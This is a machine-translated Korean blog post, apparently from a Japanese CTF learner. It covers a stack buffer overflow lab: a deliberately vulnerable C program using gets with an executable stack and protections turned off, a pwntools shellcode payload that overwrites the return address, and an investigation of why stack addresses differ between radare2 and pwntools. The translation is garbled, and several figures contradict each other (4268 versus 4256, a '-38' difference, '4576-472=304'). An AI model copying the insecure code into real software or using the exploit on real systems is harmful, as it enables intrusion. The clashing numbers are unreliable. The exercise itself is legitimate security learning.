Pwn에 들어가서 Radare2를 쓰면 빠져요.

9125 단어 CCTFpwnradaretech
최근에는 바이너리 CTF에 도전하고 싶어 친구들과 공부 모임에 빠지자 지식을 나눈다.
내가 이 초망라의 Pwn과 입문 기사로 공부하다가 일이 생겼어.
https://ir0nstone.gitbook.io/notes/types/stack/shellcode
간단할 수 있습니다. 문제는 gets 수신한 로컬 변수를 넘치고 주소를 다시 쓰고 gets를 통해 전달된 창고의 시작 주소로 건너뛰고 셸을 가져오는 코드를 실행해서 케이스를 빼앗는 것입니다.

Radare2를 통해 실행할 때와 pwntool을 실행할 때 창고의 주소가 다르다


ASLR 사용 안 함


이 수법을 세우기 위해서는 실행 중인 두 프로그램의 중요한 정보를 알아야 한다.

  • 스토리지gets의 결과 스택에 있는 스토리지의 시작 주소
  • 이 시작 주소에서 창고로 되돌아오는 주소로의 편이
  • 후자에 관해서는 DeBrujin Sequences를 사용하여 간단하게 찾고 고정할 수 있다.
    전자와 관련해서는 상황에 따라 시행에 따라 달라지기 때문에 사전에 예측하기 어렵다.이를 막기 위해 ASLR(Addresss Space Layout Randomization)이 이번에는 잘못된 환경에서 실행됩니다.
    실제로 ASLR이 비활성화되면 Radare에서 몇 번을 실행하든 스택의 시작 주소는 항상 일정한 값입니다.

    컴퓨터에서 interactive()를 실행하면 Broken Pipe가 됩니다.


    지금까지r2 -d -A ./vuln 프로그램이 창고의 시작 주소를 가져와 공격용 파이톤 코드에서 그곳의 주소를 지정했습니다.
    하지만 리턴의 주소가 잘못된 것 같습니다.Segmentation Fault가 발생했습니다.
    그래서 나는 아래 C의 코드를 써서 검증했다.
    #include <stdio.h>
    
    void unsafe(){
        char buffer[300];
        printf("%x",buffer);
        gets(buffer);
    }
    
    void main() {
        unsafe();
    }
    
    이 파일을 다음과 같이 컴파일합니다.
    $ gcc source.c -o vuln -fno-pie -no-pie -fno-stack-protector -z execstack -m32
    
    radare로 이것을 분석하면 다음과 같다.
    0x080491c6 이전된 EBP 레지스터의 0x134 값을 줄이는 것이 이번에 필요한 값이다.ASLR이 비활성화되어 있으므로 Radare2에서 이 값r2 -d -A ./vuln을 실행하면 항상 같은 값이 나타납니다.
    그러나 pwntool을 사용하여 다음 코드를 써서 실행하면 매번 같은 값이 나타나지만 Radare2가 실행할 때와 다른 주소가 나타납니다.
    from pwn import *
    p = process('./vuln')
    print(p.clean())
    payload = asm(shellcraft.sh())
    payload = payload.ljust(312, b'A')
    # payload += p32(0xffffc9f4) # <= 今回はまだこれを入れてないのでリターンアドレスは書き換わらない
    p.sendline(payload)
    p.interactive()
    

    범인은 환경 변수


    창고에도 환경 변수와 파라미터가 있다고 해서 실제 원인이 주소가 바뀌었는지 검증했습니다.
    $ ./vuln
    0xffffcb24
    # 別の端末で上のプロセスが実行中に以下を実行
    $ cat /proc/<vulnのpid>/environ | wc => 4268文字
    $ cat /proc/<vulnのpid>/cmdline => ./vuln
    
    $python ./exploit.py
    0xffffc9f4
    # 別の端末で上のプロセスが実行中に以下を実行
    $ cat /proc/<Pythonの子プロセスのvulnのpid>/environ | wc => 4576文字
    $ cat /proc/<Pythonの子プロセスのvulnのpid>/cmdline => ./vuln
    
    확실히 두 가지 집행 방법이 제시한 환경 변수가 다르다.그리고 글자 수의 차이와 주소의 차이를 살펴봅시다.
    직접 집행
    파이썬부터 실행
    차등(직접 - Pythhon)
    환경 변수의 문자 수
    4268자
    4576자
    -38자
    buffer 변수의 시작 주소
    0xffffcb24
    0xffffc9f4
    304byte
    이것을 보면 주소의 차이와 환경 변수의 문자열의 차이는 가깝지만 상반되는 것이 아니지만 쌓이면 창고의 시작 주소가 0에 가까운 방향으로 줄어들기 때문에 사실상 옳다.
    또한 x86에서 창고는 16byte마다 조준을 해야 한다304/16 = 19. 그래서 분할된 방향에서 조준을 했다고 할 수 있다.
  • 4576÷16=286이므로 직접 승하
  • 4256÷16=266.75로 16*267=4272에 준하는 것으로 평가됨
  • 실제로 논리적으로 결론을 내리면 4576-472=304byte가 된다.

    문외한1) 환경 변수가 없어 실행해 보다


    환경 변수가 없으면 같은 주소가 돌아옵니다.
    import subprocess
    subprocess.run("./vuln",env={}) # <- 環境変数を空にして実行
    
    $ python ./exploit.py
    0xffffdd34
    $ env - ./vuln  # <- 環境変数を一切つけずに実行
    0xffffdd34
    

    문외한 2)main에 직접 쓰면 이해하기 쉽다?


    만약 C의 코드가 아래와 같이 이렇게 수정된다면 비교적 쉽게 이해할 수 있을 것이다.
    #include <stdio.h>
    
    void main() {
        char buffer[300];
        printf("%x",buffer);
        gets(buffer);
    }
    
    Radare2에서 본 게 이런 느낌이에요.

    우선argv이 매개 변수로 보충되었고 이것은 창고에 포함될 수 있음을 알 수 있다.
    가변 길이라 스택보다는 스택을 확보할 수 있을 것 같지만, 이렇게 되면 끝날 때 개방을 염두에 두고 쌓아야 할 것 같다.

    좋은 웹페이지 즐겨찾기